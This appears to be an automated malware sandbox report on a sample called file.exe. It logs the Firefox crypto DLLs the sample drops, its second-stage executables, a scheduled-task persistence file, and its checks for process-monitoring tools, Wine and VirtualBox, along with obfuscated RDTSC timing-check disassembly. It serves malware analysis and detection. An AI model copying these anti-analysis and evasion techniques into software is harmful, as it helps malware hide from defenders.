Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4804AC second address: 4804B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4804B2 second address: 4804B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4804B6 second address: 4804BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4804BA second address: 47FCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F6970DB3BE7h 0x00000010 push dword ptr [ebp+122D0E3Dh] 0x00000016 cld 0x00000017 call dword ptr [ebp+122D242Eh] 0x0000001d pushad 0x0000001e pushad 0x0000001f clc 0x00000020 popad 0x00000021 xor eax, eax 0x00000023 stc 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 jmp 00007F6970DB3BDBh 0x0000002d jmp 00007F6970DB3BE9h 0x00000032 mov dword ptr [ebp+122D2D6Fh], eax 0x00000038 pushad 0x00000039 xor eax, dword ptr [ebp+122D2EA3h] 0x0000003f add ecx, dword ptr [ebp+122D2C33h] 0x00000045 popad 0x00000046 mov esi, 0000003Ch 0x0000004b mov dword ptr [ebp+122D2493h], eax 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 jnp 00007F6970DB3BDDh 0x0000005b jl 00007F6970DB3BD7h 0x00000061 cmc 0x00000062 lodsw 0x00000064 pushad 0x00000065 mov dword ptr [ebp+122D2493h], edi 0x0000006b sub dword ptr [ebp+122D2493h], eax 0x00000071 popad 0x00000072 add eax, dword ptr [esp+24h] 0x00000076 pushad 0x00000077 mov dword ptr [ebp+122D2493h], edx 0x0000007d jmp 00007F6970DB3BE6h 0x00000082 popad 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cmc 0x00000088 nop 0x00000089 jp 00007F6970DB3BF5h 0x0000008f push eax 0x00000090 push edx 0x00000091 jmp 00007F6970DB3BE3h 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FCD4 second address: 47FCE4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47FCE4 second address: 47FCE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603130 second address: 603135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3A72 second address: 5F3A78 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020B6 second address: 6020BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6020BE second address: 6020D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BDCh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602397 second address: 6023A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6970D85C16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6023A8 second address: 6023AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6023AC second address: 6023C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C21h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602826 second address: 60282C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60282C second address: 602834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602834 second address: 60283B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60283B second address: 602845 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6970D85C1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602845 second address: 602865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6970DB3BE1h 0x0000000a jmp 00007F6970DB3BDBh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jl 00007F6970DB3BEAh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 602865 second address: 60286B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60286B second address: 602871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605C81 second address: 605C85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605C85 second address: 605CA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F6970DB3BE1h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605CA6 second address: 605CD8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b mov eax, dword ptr [eax] 0x0000000d push ecx 0x0000000e jnc 00007F6970D85C1Ch 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F6970D85C21h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605CD8 second address: 605CE2 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6970DB3BDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605E18 second address: 605E22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6970D85C16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605E22 second address: 605EA5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov edi, ecx 0x0000000b push 00000003h 0x0000000d mov dword ptr [ebp+122D2B21h], esi 0x00000013 call 00007F6970DB3BE1h 0x00000018 mov ecx, 442C40AFh 0x0000001d pop esi 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F6970DB3BD8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov edi, 5C0EEF1Ah 0x0000003f push 00000003h 0x00000041 call 00007F6970DB3BE6h 0x00000046 mov dword ptr [ebp+122D36CEh], ecx 0x0000004c pop edx 0x0000004d push A2AB54E5h 0x00000052 push eax 0x00000053 push edx 0x00000054 jo 00007F6970DB3BD8h 0x0000005a push ebx 0x0000005b pop ebx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624B73 second address: 624B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6970D85C1Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 624F8F second address: 624FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F6970DB3BE7h 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625570 second address: 625574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625806 second address: 625812 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F6970DB3BD6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625812 second address: 625819 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62595A second address: 625973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6970DB3BE3h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625973 second address: 625980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnp 00007F6970D85C16h 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625980 second address: 6259B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6970DB3BE8h 0x00000008 jmp 00007F6970DB3BE8h 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6259B8 second address: 6259BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 625B1D second address: 625B40 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jns 00007F6970DB3BD6h 0x00000009 jmp 00007F6970DB3BE1h 0x0000000e pop ecx 0x0000000f jng 00007F6970DB3BDCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619715 second address: 619719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619719 second address: 61971F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626802 second address: 626806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628105 second address: 628139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F6970DB3BE7h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007F6970DB3BDFh 0x00000014 pop eax 0x00000015 push ecx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628139 second address: 628169 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6970D85C1Dh 0x00000008 jmp 00007F6970D85C20h 0x0000000d jmp 00007F6970D85C1Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D28F second address: 62D2B8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6970DB3BEFh 0x00000008 jmp 00007F6970DB3BE9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D2B8 second address: 62D2BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D73D second address: 62D747 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6970DB3BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DAA2 second address: 62DAC0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6970D85C16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6970D85C20h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DAC0 second address: 62DAC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631516 second address: 63152F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C25h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631C31 second address: 631C37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631C37 second address: 631C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F6970D85C22h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631C52 second address: 631C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631DBC second address: 631DD8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631DD8 second address: 631DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631DE0 second address: 631DE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 631F40 second address: 631F5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970DB3BE9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63410D second address: 634135 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 jmp 00007F6970D85C21h 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jc 00007F6970D85C18h 0x0000001a push esi 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634135 second address: 63413A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63413A second address: 63414B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63414B second address: 634164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6970DB3BE5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634164 second address: 634239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6970D85C1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jnc 00007F6970D85C20h 0x00000015 pop eax 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F6970D85C18h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 mov dword ptr [ebp+12484DF7h], edi 0x00000036 call 00007F6970D85C19h 0x0000003b push edx 0x0000003c jo 00007F6970D85C2Ch 0x00000042 jmp 00007F6970D85C26h 0x00000047 pop edx 0x00000048 push eax 0x00000049 push ebx 0x0000004a pushad 0x0000004b jmp 00007F6970D85C24h 0x00000050 push ecx 0x00000051 pop ecx 0x00000052 popad 0x00000053 pop ebx 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 pushad 0x00000059 pushad 0x0000005a jmp 00007F6970D85C22h 0x0000005f jmp 00007F6970D85C1Bh 0x00000064 popad 0x00000065 jmp 00007F6970D85C1Bh 0x0000006a popad 0x0000006b mov eax, dword ptr [eax] 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 jmp 00007F6970D85C1Ch 0x00000075 pop ecx 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634534 second address: 634539 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634539 second address: 63453F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63489B second address: 63489F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63501A second address: 63501E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63501E second address: 635024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
